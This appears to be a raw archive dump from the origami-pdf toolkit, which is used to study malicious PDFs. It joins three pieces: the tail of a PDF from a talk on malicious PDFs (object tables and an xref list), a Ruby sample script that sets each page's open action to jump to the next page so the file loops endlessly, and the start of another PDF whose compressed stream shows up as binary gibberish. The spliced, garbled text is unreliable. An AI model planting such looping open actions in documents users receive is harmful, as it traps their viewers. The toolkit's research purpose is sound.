243 0 R ] /Limits [ (page.25) (page.4) ] >> endobj 1300 0 obj << /Names [ (page.5) 278 0 R (page.6) 312 0 R (page.7) 490 0 R (page.8) 526 0 R (page.9) 560 0 R ] /Limits [ (page.5) (page.9) ] >> endobj 1301 0 obj << /Kids [ 1290 0 R 1291 0 R 1292 0 R 1293 0 R 1294 0 R 1295 0 R ] /Limits [ (Doc-Start) (Outline0.4.1.22) ] >> endobj 1302 0 obj << /Kids [ 1296 0 R 1297 0 R 1298 0 R 1299 0 R 1300 0 R ] /Limits [ (Outline0.4.2.24) (page.9) ] >> endobj 1303 0 obj << /Kids [ 1301 0 R 1302 0 R ] /Limits [ (Doc-Start) (page.9) ] >> endobj 1304 0 obj << /Dests 1303 0 R >> endobj 1305 0 obj << /Type /Catalog /Pages 1288 0 R /Outlines 1289 0 R /Names 1304 0 R /PageMode /UseOutlines /OpenAction 44 0 R >> endobj 1306 0 obj << /Author () /Title (Les origamis malicieux en PDF contre-attaquent) /Subject () /Creator (LaTeX with beamer class version 3.07) /Producer (pdfTeX-1.40.3) /Keywords () /CreationDate (D:20090608195303+02'00') /ModDate (D:20090608195303+02'00') /Trapped /False /PTEX.Fullbanner (This is pdfTeX using libpoppler, Version 3.141592-1.40.3-2.2 \(Web2C 7.5.6\) kpathsea version 3.5.6) >> endobj xref 0 4 0000000000 65535 f 0000000010 00000 n 0000000035 00000 n 0000000060 00000 n 12 35 0000000120 00000 n 0000000175 00000 n 0000000243 00000 n 0000000331 00000 n 0000000385 00000 n 0000000440 00000 n 0000000508 00000 n 0000000611 00000 n 0000000658 00000 n 0000000713 00000 n 0000000781 00000 n 0000000926 00000 n 0000000960 00000 n 0000001020 00000 n 0000001088 00000 n 0000001174 00000 n 0000001208 00000 n 0000001268 00000 n 0000001336 00000 n 0000001422 00000 n 0000001473 00000 n 0000001528 00000 n 0000001596 00000 n 0000001726 00000 n 0000001800 00000 n 0000001860 00000 n 0000001929 00000 n 0000002015 00000 n 0000002049 00000 n 0000002109 00000 n 0000002178 00000 n 0000002264 00000 n 0000002309 00000 n 0000002367 00000 n 0000002774 00000 n 52 1255 0000002994 00000 n 0000003211 00000 n 0000003421 00000 n 0000003633 00000 n 0000004081 00000 n 0000004541 00000 n 0000004733 00000 n 0000004916 00000 n 0000005108 00000 n 0000005300 00000 n 0000005491 00000 n 0000005683 00000 n 0000005875 00000 n 0000006067 00000 n 0000006259 00000 n 0000006451 00000 n 0000006643 00000 n 0000006834 00000 n 0000007026 00000 n 0000007218 00000 n 0000007409 00000 n 0000007601 00000 n 0000007793 00000 n 0000007974 00000 n 0000008153 00000 n 0000008336 00000 n 0000008531 00000 n 0000008726 00000 n 0000008922 00000 n 0000009118 00000 n 0000009311 00000 n 0000009589 00000 n 0000011586 00000 n 0000011748 00000 n 0000011911 00000 n 0000011978 00000 n 0000012141 00000 n 0000012207 00000 n 0000012273 00000 n 0000012403 00000 n 0000012727 00000 n 0000013079 00000 n 0000013653 00000 n 0000014200 00000 n 0000014353 00000 n 0000014407 00000 n 0000018138 00000 n 0000018160 00000 n 0000018184 00000 n 0000018226 00000 n 0000019132 00000 n 0000019156 00000 n 0000019310 00000 n 0000019365 00000 n 0000096191 00000 n 0000096214 00000 n 0000096240 00000 n 0000096282 00000 n 0000097188 00000 n 0000097212 00000 n 0000097280 00000 n 0000097348 00000 n 0000097416 00000 n 0000097485 00000 n 0000097553 00000 n 0000097621 00000 n 0000097689 00000 n 0000098162 00000 n 0000098385 00000 n 0000098605 00000 n 0000098863 00000 n 0000099102 00000 n 0000099327 00000 n 0000099551 00000 n 0000099776 00000 n 0000099969 00000 n 0000100153 00000 n 0000100346 00000 n 0000100539 00000 n 0000100731 00000 n 0000100924 00000 n 0000101117 00000 n 0000101310 00000 n 0000101503 00000 n 0000101696 00000 n 0000101889 00000 n 0000102081 00000 n 0000102274 00000 n 0000102467 00000 n 0000102659 00000 n 0000102852 00000 n 0000103045 00000 n 0000103227 00000 n 0000103407 00000 n 0000103591 00000 n 0000103787 00000 n 0000103983 00000 n 0000104180 00000 n 0000104377 00000 n 0000104570 00000 n 0000104915 00000 n 0000105382 00000 n 0000108496 00000 n 0000108661 00000 n 0000108825 00000 n 0000108893 00000 n 0000109250 00000 n 0000109847 00000 n 0000110748 00000 n 0000110902 00000 n 0000110957 00000 n 0000114689 00000 n 0000114712 00000 n 0000114737 00000 n 0000114779 00000 n 0000115685 00000 n 0000115709 00000 n 0000115777 00000 n 0000115997 00000 n 0000116217 00000 n 0000116440 00000 n 0000116659 00000 n 0000116871 00000 n 0000117085 00000 n 0000117305 00000 n 0000117530 00000 n 0000117723 00000 n 0000117907 00000 n 0000118100 00000 n 0000118293 00000 n 0000118485 00000 n 0000118678 00000 n 0000118871 00000 n 0000119064 00000 n 0000119257 00000 n 0000119450 00000 n 0000119643 00000 n 0000119835 00000 n 0000120028 00000 n 0000120221 00000 n 0000120413 00000 n 0000120606 00000 n 0000120799 00000 n 0000120981 00000 n 0000121161 00000 n 0000121345 00000 n 0000121541 00000 n 0000121737 00000 n 0000121934 00000 n 0000122131 00000 n 0000122324 00000 n 0000122709 00000 n 0000123152 00000 n 0000125633 00000 n 0000125796 00000 n 0000125864 00000 n 0000126747 00000 n 0000127621 00000 n 0000128218 00000 n 0000128574 00000 n 0000129158 00000 n 0000129715 00000 n 0000130612 00000 n 0000130837 00000 n 0000131030 00000 n 0000131214 00000 n 0000131407 00000 n 0000131600 00000 n 0000131792 00000 n 0000131985 00000 n 0000132178 00000 n 0000132371 00000 n 0000132564 00000 n 0000132757 00000 n 0000132950 00000 n 0000133142 00000 n 0000133335 00000 n 0000133528 00000 n 0000133720 00000 n 0000133913 00000 n 0000134106 00000 n 0000134288 00000 n 0000134468 00000 n 0000134652 00000 n 0000134848 00000 n 0000135044 00000 n 0000135241 00000 n 0000135438 00000 n 0000135631 00000 n 0000136008 00000 n 0000136451 00000 n 0000138957 00000 n 0000139025 00000 n 0000139247 00000 n 0000139443 00000 n 0000139639 00000 n 0000139836 00000 n 0000140031 00000 n 0000140256 00000 n 0000140449 00000 n 0000140633 00000 n 0000140826 00000 n 0000141019 00000 n 0000141211 00000 n 0000141404 00000 n 0000141597 00000 n 0000141790 00000 n 0000141983 00000 n 0000142176 00000 n 0000142369 00000 n 0000142561 00000 n 0000142754 00000 n 0000142947 00000 n 0000143139 00000 n 0000143332 00000 n 0000143525 00000 n 0000143707 00000 n 0000143887 00000 n 0000144071 00000 n 0000144267 00000 n 0000144463 00000 n 0000144660 00000 n 0000144857 00000 n 0000145050 00000 n 0000145335 00000 n 0000145810 00000 n 0000147704 00000 n 0000147772 00000 n 0000148650 00000 n 0000148718 00000 n 0000155025 00000 n 0000155250 00000 n 0000155443 00000 n 0000155627 00000 n 0000155820 00000 n 0000156013 00000 n 0000156205 00000 n 0000156398 00000 n 0000156591 00000 n 0000156784 00000 n 0000156977 00000 n 0000157170 00000 n 0000157363 00000 n 0000157555 00000 n 0000157748 00000 n 0000157941 00000 n 0000158133 00000 n 0000158326 00000 n 0000158519 00000 n 0000158701 00000 n 0000158881 00000 n 0000159065 00000 n 0000159261 00000 n 0000159457 00000 n 0000159654 00000 n 0000159851 00000 n 0000160044 00000 n 0000160312 00000 n 0000160755 00000 n 0000162233 00000 n 0000162398 00000 n 0000162466 00000 n 0000162703 00000 n 0000162745 00000 n 0000162787 00000 n 0000162841 00000 n 0000162897 00000 n 0000162954 00000 n 0000163008 00000 n 0000163062 00000 n 0000163270 00000 n 0000163470 00000 n 0000163665 00000 n 0000165153 00000 n 0000167382 00000 n 0000169598 00000 n 0000169833 00000 n 0000170117 00000 n 0000170367 00000 n 0000172614 00000 n 0000174213 00000 n 0000176264 00000 n 0000177969 00000 n 0000178256 00000 n 0000181744 00000 n 0000184852 00000 n 0000189692 00000 n 0000189936 00000 n 0000191424 00000 n 0000198345 00000 n 0000200574 00000 n 0000206385 00000 n 0000208632 00000 n 0000210120 00000 n 0000211719 00000 n 0000213207 00000 n 0000215436 00000 n 0000217652 00000 n 0000219868 00000 n 0000223200 00000 n 0000223922 00000 n 0000227117 00000 n 0000227142 00000 n 0000227961 00000 n 0000228867 00000 n 0000229132 00000 n 0000229426 00000 n 0000229698 00000 n 0000229808 00000 n 0000230074 00000 n 0000230308 00000 n 0000230333 00000 n 0000230560 00000 n 0000230585 00000 n 0000232011 00000 n 0000232036 00000 n 0000233457 00000 n 0000233480 00000 n 0000233897 00000 n 0000233920 00000 n 0000234714 00000 n 0000234737 00000 n 0000235140 00000 n 0000235165 00000 n 0000236598 00000 n 0000236623 00000 n 0000236850 00000 n 0000236875 00000 n 0000237102 00000 n 0000237127 00000 n 0000237354 00000 n 0000237377 00000 n 0000238210 00000 n 0000238235 00000 n 0000238519 00000 n 0000238544 00000 n 0000240362 00000 n 0000240387 00000 n 0000240678 00000 n 0000240701 00000 n 0000241032 00000 n 0000241057 00000 n 0000241284 00000 n 0000241309 00000 n 0000241646 00000 n 0000241671 00000 n 0000243097 00000 n 0000243122 00000 n 0000243433 00000 n 0000243458 00000 n 0000244891 00000 n 0000244916 00000 n 0000245143 00000 n 0000245168 00000 n 0000245395 00000 n 0000245420 00000 n 0000245647 00000 n 0000245672 00000 n 0000247097 00000 n 0000247122 00000 n 0000248541 00000 n 0000248566 00000 n 0000249985 00000 n 0000250010 00000 n 0000251937 00000 n 0000251961 00000 n 0000252914 00000 n 0000252939 00000 n 0000254376 00000 n 0000254400 00000 n 0000254424 00000 n 0000274361 00000 n 0000276251 00000 n 0000281780 00000 n 0000281803 00000 n 0000281828 00000 n 0000281853 00000 n 0000281877 00000 n 0000281901 00000 n 0000281925 00000 n 0000281950 00000 n 0000281973 00000 n 0000281996 00000 n 0000282019 00000 n 0000282043 00000 n 0000282066 00000 n 0000282091 00000 n 0000282114 00000 n 0000282138 00000 n 0000282161 00000 n 0000282185 00000 n 0000282210 00000 n 0000282234 00000 n 0000282259 00000 n 0000282282 00000 n 0000282305 00000 n 0000282328 00000 n 0000282353 00000 n 0000282378 00000 n 0000282403 00000 n 0000282428 00000 n 0000282452 00000 n 0000282477 00000 n 0000282503 00000 n 0000282528 00000 n 0000282553 00000 n 0000282749 00000 n 0000282945 00000 n 0000283142 00000 n 0000283337 00000 n 0000283562 00000 n 0000283755 00000 n 0000283939 00000 n 0000284132 00000 n 0000284325 00000 n 0000284517 00000 n 0000284710 00000 n 0000284903 00000 n 0000285096 00000 n 0000285289 00000 n 0000285483 00000 n 0000285677 00000 n 0000285869 00000 n 0000286062 00000 n 0000286256 00000 n 0000286449 00000 n 0000286642 00000 n 0000286835 00000 n 0000287017 00000 n 0000287197 00000 n 0000287381 00000 n 0000287577 00000 n 0000287773 00000 n 0000287970 00000 n 0000288167 00000 n 0000288360 00000 n 0000288645 00000 n 0000289121 00000 n 0000291017 00000 n 0000291085 00000 n 0000291217 00000 n 0000291285 00000 n 0000291353 00000 n 0000291576 00000 n 0000291796 00000 n 0000292021 00000 n 0000292214 00000 n 0000292398 00000 n 0000292591 00000 n 0000292784 00000 n 0000292976 00000 n 0000293169 00000 n 0000293362 00000 n 0000293555 00000 n 0000293748 00000 n 0000293942 00000 n 0000294136 00000 n 0000294328 00000 n 0000294521 00000 n 0000294715 00000 n 0000294908 00000 n 0000295101 00000 n 0000295294 00000 n 0000295476 00000 n 0000295656 00000 n 0000295840 00000 n 0000296036 00000 n 0000296232 00000 n 0000296429 00000 n 0000296626 00000 n 0000296819 00000 n 0000297198 00000 n 0000297642 00000 n 0000300401 00000 n 0000300565 00000 n 0000300633 00000 n 0000301194 00000 n 0000301987 00000 n 0000302055 00000 n 0000302280 00000 n 0000302473 00000 n 0000302657 00000 n 0000302851 00000 n 0000303044 00000 n 0000303236 00000 n 0000303429 00000 n 0000303623 00000 n 0000303816 00000 n 0000304009 00000 n 0000304203 00000 n 0000304397 00000 n 0000304589 00000 n 0000304782 00000 n 0000304976 00000 n 0000305169 00000 n 0000305362 00000 n 0000305555 00000 n 0000305737 00000 n 0000305917 00000 n 0000306101 00000 n 0000306297 00000 n 0000306493 00000 n 0000306690 00000 n 0000306887 00000 n 0000307080 00000 n 0000307442 00000 n 0000307886 00000 n 0000310673 00000 n 0000310839 00000 n 0000310907 00000 n 0000311130 00000 n 0000311350 00000 n 0000311575 00000 n 0000311768 00000 n 0000311952 00000 n 0000312146 00000 n 0000312339 00000 n 0000312532 00000 n 0000312726 00000 n 0000312920 00000 n 0000313113 00000 n 0000313306 00000 n 0000313500 00000 n 0000313694 00000 n 0000313886 00000 n 0000314079 00000 n 0000314273 00000 n 0000314466 00000 n 0000314659 00000 n 0000314852 00000 n 0000315034 00000 n 0000315214 00000 n 0000315398 00000 n 0000315594 00000 n 0000315790 00000 n 0000315987 00000 n 0000316184 00000 n 0000316377 00000 n 0000316790 00000 n 0000317234 00000 n 0000320244 00000 n 0000320408 00000 n 0000320476 00000 n 0000321059 00000 n 0000321874 00000 n 0000322069 00000 n 0000322265 00000 n 0000322462 00000 n 0000322659 00000 n 0000322854 00000 n 0000323048 00000 n 0000323273 00000 n 0000323467 00000 n 0000323651 00000 n 0000323845 00000 n 0000324039 00000 n 0000324232 00000 n 0000324426 00000 n 0000324620 00000 n 0000324814 00000 n 0000325008 00000 n 0000325202 00000 n 0000325396 00000 n 0000325589 00000 n 0000325783 00000 n 0000325977 00000 n 0000326170 00000 n 0000326363 00000 n 0000326556 00000 n 0000326738 00000 n 0000326918 00000 n 0000327102 00000 n 0000327298 00000 n 0000327494 00000 n 0000327691 00000 n 0000327888 00000 n 0000328086 00000 n 0000328284 00000 n 0000328475 00000 n 0000328776 00000 n 0000329284 00000 n 0000331340 00000 n 0000331408 00000 n 0000331476 00000 n 0000331544 00000 n 0000331612 00000 n 0000331807 00000 n 0000332003 00000 n 0000332200 00000 n 0000332397 00000 n 0000332617 00000 n 0000332812 00000 n 0000333006 00000 n 0000333231 00000 n 0000333425 00000 n 0000333609 00000 n 0000333803 00000 n 0000333997 00000 n 0000334190 00000 n 0000334384 00000 n 0000334578 00000 n 0000334772 00000 n 0000334966 00000 n 0000335160 00000 n 0000335354 00000 n 0000335547 00000 n 0000335741 00000 n 0000335935 00000 n 0000336128 00000 n 0000336321 00000 n 0000336514 00000 n 0000336696 00000 n 0000336876 00000 n 0000337060 00000 n 0000337256 00000 n 0000337452 00000 n 0000337649 00000 n 0000337846 00000 n 0000338044 00000 n 0000338242 00000 n 0000338433 00000 n 0000338751 00000 n 0000339259 00000 n 0000341321 00000 n 0000341389 00000 n 0000342265 00000 n 0000342333 00000 n 0000342401 00000 n 0000535450 00000 n 0000535675 00000 n 0000535869 00000 n 0000536053 00000 n 0000536247 00000 n 0000536441 00000 n 0000536634 00000 n 0000536828 00000 n 0000537022 00000 n 0000537216 00000 n 0000537410 00000 n 0000537604 00000 n 0000537798 00000 n 0000537991 00000 n 0000538185 00000 n 0000538379 00000 n 0000538572 00000 n 0000538765 00000 n 0000538958 00000 n 0000539140 00000 n 0000539320 00000 n 0000539504 00000 n 0000539700 00000 n 0000539896 00000 n 0000540093 00000 n 0000540290 00000 n 0000540488 00000 n 0000540686 00000 n 0000540877 00000 n 0000541230 00000 n 0000541690 00000 n 0000544060 00000 n 0000544128 00000 n 0000544260 00000 n 0000544328 00000 n 0000544553 00000 n 0000544747 00000 n 0000544931 00000 n 0000545125 00000 n 0000545319 00000 n 0000545512 00000 n 0000545706 00000 n 0000545900 00000 n 0000546094 00000 n 0000546288 00000 n 0000546482 00000 n 0000546676 00000 n 0000546869 00000 n 0000547063 00000 n 0000547257 00000 n 0000547450 00000 n 0000547643 00000 n 0000547836 00000 n 0000548018 00000 n 0000548198 00000 n 0000548382 00000 n 0000548578 00000 n 0000548774 00000 n 0000548971 00000 n 0000549168 00000 n 0000549366 00000 n 0000549564 00000 n 0000549755 00000 n 0000550055 00000 n 0000550515 00000 n 0000552623 00000 n 0000552691 00000 n 0000552759 00000 n 0000552984 00000 n 0000553178 00000 n 0000553362 00000 n 0000553556 00000 n 0000553750 00000 n 0000553943 00000 n 0000554137 00000 n 0000554331 00000 n 0000554525 00000 n 0000554719 00000 n 0000554913 00000 n 0000555107 00000 n 0000555300 00000 n 0000555494 00000 n 0000555688 00000 n 0000555881 00000 n 0000556074 00000 n 0000556267 00000 n 0000556449 00000 n 0000556629 00000 n 0000556813 00000 n 0000557009 00000 n 0000557205 00000 n 0000557402 00000 n 0000557599 00000 n 0000557797 00000 n 0000557995 00000 n 0000558186 00000 n 0000558597 00000 n 0000559057 00000 n 0000562844 00000 n 0000563007 00000 n 0000563169 00000 n 0000563331 00000 n 0000563399 00000 n 0000563624 00000 n 0000563818 00000 n 0000564002 00000 n 0000564196 00000 n 0000564390 00000 n 0000564583 00000 n 0000564777 00000 n 0000564971 00000 n 0000565165 00000 n 0000565359 00000 n 0000565553 00000 n 0000565747 00000 n 0000565940 00000 n 0000566134 00000 n 0000566328 00000 n 0000566521 00000 n 0000566714 00000 n 0000566907 00000 n 0000567089 00000 n 0000567269 00000 n 0000567453 00000 n 0000567649 00000 n 0000567845 00000 n 0000568042 00000 n 0000568239 00000 n 0000568437 00000 n 0000568635 00000 n 0000568826 00000 n 0000569203 00000 n 0000569663 00000 n 0000572340 00000 n 0000572502 00000 n 0000572570 00000 n 0000572765 00000 n 0000572961 00000 n 0000573158 00000 n 0000573355 00000 n 0000573550 00000 n 0000573744 00000 n 0000573969 00000 n 0000574163 00000 n 0000574347 00000 n 0000574541 00000 n 0000574735 00000 n 0000574928 00000 n 0000575122 00000 n 0000575316 00000 n 0000575510 00000 n 0000575704 00000 n 0000575898 00000 n 0000576092 00000 n 0000576285 00000 n 0000576479 00000 n 0000576673 00000 n 0000576866 00000 n 0000577059 00000 n 0000577252 00000 n 0000577434 00000 n 0000577614 00000 n 0000577798 00000 n 0000577994 00000 n 0000578190 00000 n 0000578387 00000 n 0000578584 00000 n 0000578782 00000 n 0000578980 00000 n 0000579171 00000 n 0000579489 00000 n 0000579997 00000 n 0000582055 00000 n 0000582123 00000 n 0000582191 00000 n 0000582411 00000 n 0000582636 00000 n 0000582830 00000 n 0000583014 00000 n 0000583208 00000 n 0000583402 00000 n 0000583595 00000 n 0000583789 00000 n 0000583983 00000 n 0000584177 00000 n 0000584371 00000 n 0000584565 00000 n 0000584759 00000 n 0000584952 00000 n 0000585146 00000 n 0000585340 00000 n 0000585533 00000 n 0000585726 00000 n 0000585919 00000 n 0000586101 00000 n 0000586281 00000 n 0000586465 00000 n 0000586661 00000 n 0000586857 00000 n 0000587054 00000 n 0000587251 00000 n 0000587449 00000 n 0000587647 00000 n 0000587838 00000 n 0000588232 00000 n 0000588692 00000 n 0000591278 00000 n 0000591441 00000 n 0000591509 00000 n 0000592401 00000 n 0000592469 00000 n 0000592694 00000 n 0000592888 00000 n 0000593072 00000 n 0000593266 00000 n 0000593460 00000 n 0000593653 00000 n 0000593847 00000 n 0000594041 00000 n 0000594235 00000 n 0000594429 00000 n 0000594623 00000 n 0000594817 00000 n 0000595010 00000 n 0000595204 00000 n 0000595398 00000 n 0000595591 00000 n 0000595784 00000 n 0000595977 00000 n 0000596159 00000 n 0000596339 00000 n 0000596523 00000 n 0000596719 00000 n 0000596915 00000 n 0000597112 00000 n 0000597309 00000 n 0000597507 00000 n 0000597705 00000 n 0000597896 00000 n 0000598273 00000 n 0000598733 00000 n 0000601287 00000 n 0000601355 00000 n 0000601490 00000 n 0000601724 00000 n 0000601974 00000 n 0000602199 00000 n 0000602393 00000 n 0000602577 00000 n 0000602771 00000 n 0000602965 00000 n 0000603158 00000 n 0000603352 00000 n 0000603546 00000 n 0000603740 00000 n 0000603934 00000 n 0000604128 00000 n 0000604322 00000 n 0000604515 00000 n 0000604709 00000 n 0000604903 00000 n 0000605096 00000 n 0000605289 00000 n 0000605482 00000 n 0000605664 00000 n 0000605844 00000 n 0000606028 00000 n 0000606224 00000 n 0000606420 00000 n 0000606617 00000 n 0000606814 00000 n 0000607012 00000 n 0000607210 00000 n 0000607401 00000 n 0000607779 00000 n 0000608255 00000 n 0000610846 00000 n 0000610914 00000 n 0000611110 00000 n 0000611306 00000 n 0000611502 00000 n 0000611698 00000 n 0000611892 00000 n 0000612087 00000 n 0000612312 00000 n 0000612506 00000 n 0000612690 00000 n 0000612884 00000 n 0000613078 00000 n 0000613271 00000 n 0000613465 00000 n 0000613659 00000 n 0000613853 00000 n 0000614047 00000 n 0000614241 00000 n 0000614435 00000 n 0000614628 00000 n 0000614822 00000 n 0000615016 00000 n 0000615209 00000 n 0000615402 00000 n 0000615595 00000 n 0000615777 00000 n 0000615957 00000 n 0000616141 00000 n 0000616337 00000 n 0000616533 00000 n 0000616730 00000 n 0000616927 00000 n 0000617125 00000 n 0000617323 00000 n 0000617514 00000 n 0000617815 00000 n 0000618323 00000 n 0000620350 00000 n 0000620418 00000 n 0000620487 00000 n 0000620556 00000 n 0000620752 00000 n 0000620948 00000 n 0000621144 00000 n 0000621341 00000 n 0000621536 00000 n 0000621732 00000 n 0000621958 00000 n 0000622153 00000 n 0000622338 00000 n 0000622533 00000 n 0000622728 00000 n 0000622922 00000 n 0000623117 00000 n 0000623312 00000 n 0000623507 00000 n 0000623702 00000 n 0000623897 00000 n 0000624092 00000 n 0000624286 00000 n 0000624481 00000 n 0000624676 00000 n 0000624870 00000 n 0000625064 00000 n 0000625258 00000 n 0000625441 00000 n 0000625622 00000 n 0000625807 00000 n 0000626004 00000 n 0000626201 00000 n 0000626399 00000 n 0000626597 00000 n 0000626796 00000 n 0000626995 00000 n 0000627187 00000 n 0000627506 00000 n 0000628048 00000 n 0000630080 00000 n 0000630150 00000 n 0000630220 00000 n 0000630446 00000 n 0000630641 00000 n 0000630826 00000 n 0000631021 00000 n 0000631216 00000 n 0000631410 00000 n 0000631605 00000 n 0000631800 00000 n 0000631995 00000 n 0000632190 00000 n 0000632385 00000 n 0000632580 00000 n 0000632774 00000 n 0000632969 00000 n 0000633164 00000 n 0000633358 00000 n 0000633552 00000 n 0000633746 00000 n 0000633929 00000 n 0000634110 00000 n 0000634295 00000 n 0000634492 00000 n 0000634689 00000 n 0000634887 00000 n 0000635085 00000 n 0000635284 00000 n 0000635483 00000 n 0000635675 00000 n 0000636086 00000 n 0000636577 00000 n 0000639572 00000 n 0000639642 00000 n 0000639839 00000 n 0000640036 00000 n 0000640233 00000 n 0000640430 00000 n 0000640625 00000 n 0000640821 00000 n 0000641047 00000 n 0000641242 00000 n 0000641427 00000 n 0000641622 00000 n 0000641817 00000 n 0000642011 00000 n 0000642206 00000 n 0000642401 00000 n 0000642596 00000 n 0000642791 00000 n 0000642986 00000 n 0000643181 00000 n 0000643375 00000 n 0000643570 00000 n 0000643765 00000 n 0000643959 00000 n 0000644153 00000 n 0000644347 00000 n 0000644530 00000 n 0000644711 00000 n 0000644896 00000 n 0000645093 00000 n 0000645290 00000 n 0000645488 00000 n 0000645686 00000 n 0000645885 00000 n 0000646084 00000 n 0000646276 00000 n 0000646595 00000 n 0000647140 00000 n 0000649170 00000 n 0000649240 00000 n 0000649310 00000 n 0000649536 00000 n 0000649731 00000 n 0000649916 00000 n 0000650111 00000 n 0000650306 00000 n 0000650500 00000 n 0000650695 00000 n 0000650890 00000 n 0000651085 00000 n 0000651280 00000 n 0000651475 00000 n 0000651670 00000 n 0000651864 00000 n 0000652059 00000 n 0000652254 00000 n 0000652448 00000 n 0000652642 00000 n 0000652836 00000 n 0000653019 00000 n 0000653200 00000 n 0000653385 00000 n 0000653582 00000 n 0000653779 00000 n 0000653977 00000 n 0000654175 00000 n 0000654374 00000 n 0000654573 00000 n 0000654765 00000 n 0000655127 00000 n 0000655619 00000 n 0000658272 00000 n 0000658342 00000 n 0000658463 00000 n 0000658533 00000 n 0000658759 00000 n 0000658954 00000 n 0000659139 00000 n 0000659334 00000 n 0000659529 00000 n 0000659723 00000 n 0000659918 00000 n 0000660113 00000 n 0000660308 00000 n 0000660503 00000 n 0000660698 00000 n 0000660893 00000 n 0000661087 00000 n 0000661282 00000 n 0000661477 00000 n 0000661671 00000 n 0000661865 00000 n 0000662059 00000 n 0000662242 00000 n 0000662423 00000 n 0000662608 00000 n 0000662805 00000 n 0000663002 00000 n 0000663200 00000 n 0000663398 00000 n 0000663597 00000 n 0000663796 00000 n 0000663988 00000 n 0000664366 00000 n 0000664858 00000 n 0000667862 00000 n 0000667932 00000 n 0000668002 00000 n 0000668228 00000 n 0000668423 00000 n 0000668608 00000 n 0000668803 00000 n 0000668998 00000 n 0000669192 00000 n 0000669387 00000 n 0000669582 00000 n 0000669777 00000 n 0000669972 00000 n 0000670167 00000 n 0000670362 00000 n 0000670556 00000 n 0000670751 00000 n 0000670946 00000 n 0000671140 00000 n 0000671334 00000 n 0000671528 00000 n 0000671711 00000 n 0000671892 00000 n 0000672077 00000 n 0000672274 00000 n 0000672471 00000 n 0000672669 00000 n 0000672867 00000 n 0000673066 00000 n 0000673265 00000 n 0000673457 00000 n 0000673744 00000 n 0000674236 00000 n 0000677318 00000 n 0000677484 00000 n 0000677554 00000 n 0000686523 00000 n 0000686749 00000 n 0000686944 00000 n 0000687129 00000 n 0000687324 00000 n 0000687519 00000 n 0000687713 00000 n 0000687908 00000 n 0000688103 00000 n 0000688298 00000 n 0000688493 00000 n 0000688688 00000 n 0000688883 00000 n 0000689077 00000 n 0000689272 00000 n 0000689467 00000 n 0000689661 00000 n 0000689855 00000 n 0000690049 00000 n 0000690232 00000 n 0000690413 00000 n 0000690598 00000 n 0000690795 00000 n 0000690992 00000 n 0000691190 00000 n 0000691388 00000 n 0000691587 00000 n 0000691786 00000 n 0000691978 00000 n 0000692367 00000 n 0000692860 00000 n 0000695352 00000 n 0000695422 00000 n 0000695811 00000 n 0000696152 00000 n 0000696184 00000 n 0000696215 00000 n 0000696246 00000 n 0000696823 00000 n 0000697336 00000 n 0000697938 00000 n 0000698287 00000 n 0000698606 00000 n 0000699272 00000 n 0000699919 00000 n 0000700362 00000 n 0000701023 00000 n 0000701477 00000 n 0000702168 00000 n 0000708151 00000 n 0000708520 00000 n 0000710187 00000 n 0000710442 00000 n 0000720680 00000 n 0000721234 00000 n 0000728690 00000 n 0000729114 00000 n 0000738244 00000 n 0000738754 00000 n 0000744980 00000 n 0000745363 00000 n 0000755256 00000 n 0000755698 00000 n 0000760968 00000 n 0000761295 00000 n 0000764468 00000 n 0000764747 00000 n 0000768039 00000 n 0000768325 00000 n 0000770310 00000 n 0000770614 00000 n 0000771948 00000 n 0000772212 00000 n 0000773567 00000 n 0000773832 00000 n 0000784141 00000 n 0000784569 00000 n 0000793892 00000 n 0000794321 00000 n 0000799201 00000 n 0000799496 00000 n 0000799603 00000 n 0000799691 00000 n 0000799905 00000 n 0000800128 00000 n 0000800350 00000 n 0000800573 00000 n 0000800785 00000 n 0000801006 00000 n 0000801202 00000 n 0000801385 00000 n 0000801569 00000 n 0000801753 00000 n 0000801911 00000 n 0000802049 00000 n 0000802175 00000 n 0000802268 00000 n 0000802314 00000 n 0000802462 00000 n trailer << /Size 1294 /Root 1305 0 R /Info 1306 0 R /ID [ ] >> startxref 802886 %%EOF origami-pdf-1.2.7/samples/actions/loop/loopgoto.rb0000755000175000017500000000066512122110015022370 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) index = 1 pages = pdf.pages pages.each do |page| page.onOpen Action::GoTo Destination::GlobalFit.new pages[index % pages.size] index = index + 1 end pdf.save("loopgoto_sample.pdf") origami-pdf-1.2.7/samples/actions/loop/sample.pdf0000644000175000017500000277570211541257434022214 0ustar terceiroterceiro%PDF-1.4 % 3 0 obj << /pgfprgb [/Pattern /DeviceRGB] >> endobj 12 0 obj << /S /GoTo /D (Outline0.1) >> endobj 15 0 obj (PDF pour les nuls \(en 1 slide\)) endobj 16 0 obj << /S /GoTo /D (Outline0.2) >> endobj 19 0 obj (Le PDF, c'est dynamique !) endobj 20 0 obj << /S /GoTo /D (Outline0.3) >> endobj 23 0 obj (Adobe et PDF) endobj 24 0 obj << /S /GoTo /D (Outline0.3.1.12) >> endobj 27 0 obj (Adobe Reader) endobj 28 0 obj << /S /GoTo /D (Outline0.3.2.17) >> endobj 31 0 obj (Le plug-in web d'Adobe Reader) endobj 32 0 obj << /S /GoTo /D (Outline0.4) >> endobj 35 0 obj (Les origamis contre-attaquent : fuite de credentials) endobj 36 0 obj << /S /GoTo /D (Outline0.4.1.22) >> endobj 39 0 obj (Sur la toile) endobj 40 0 obj << /S /GoTo /D (Outline0.4.2.24) >> endobj 43 0 obj (Dans un domaine Windows) endobj 44 0 obj << /S /GoTo /D [45 0 R /Fit ] >> endobj 83 0 obj << /Length 1914 /Filter /FlateDecode >> stream xZo5_a^Eb H@I$(r)r {޽rWQ)zf<8UPpGހZn$BzVHmJ2Ƣ5m+n1f_TZp(mAcP. )*-Eɑ# iAZGbܹ;k#KaoE}T'V"5FhL"o!+ ʐc)}>5n?1 ݷ1ҡ5 2V> B2iȘ>W5Ic<>ߛIԔ[NEKзPԝrDIzsW1;uHiCe!{c~%nD<9,RI9PŶń?߃B ^ bE=I%OV/Bu$pJPyp4x8#c~̮֘grgPω+|F#O.$#YL <֎zkE͔_VAz 5ҲF+B_zAUcQO%o*PHgJyzť&Q 3"HX>LpkG䀖$֥6wb= "D-ϭ>42Vcx"kZhHgMlPӄy9%:ڔ?܍iזy $-fC1R0nS_mE2m']fəq.v`8m\{qvvt\v)]wrq@?|l@#E|}蒚9,&3w~KFi ^j'ϫZ? ؞0Ztл{V 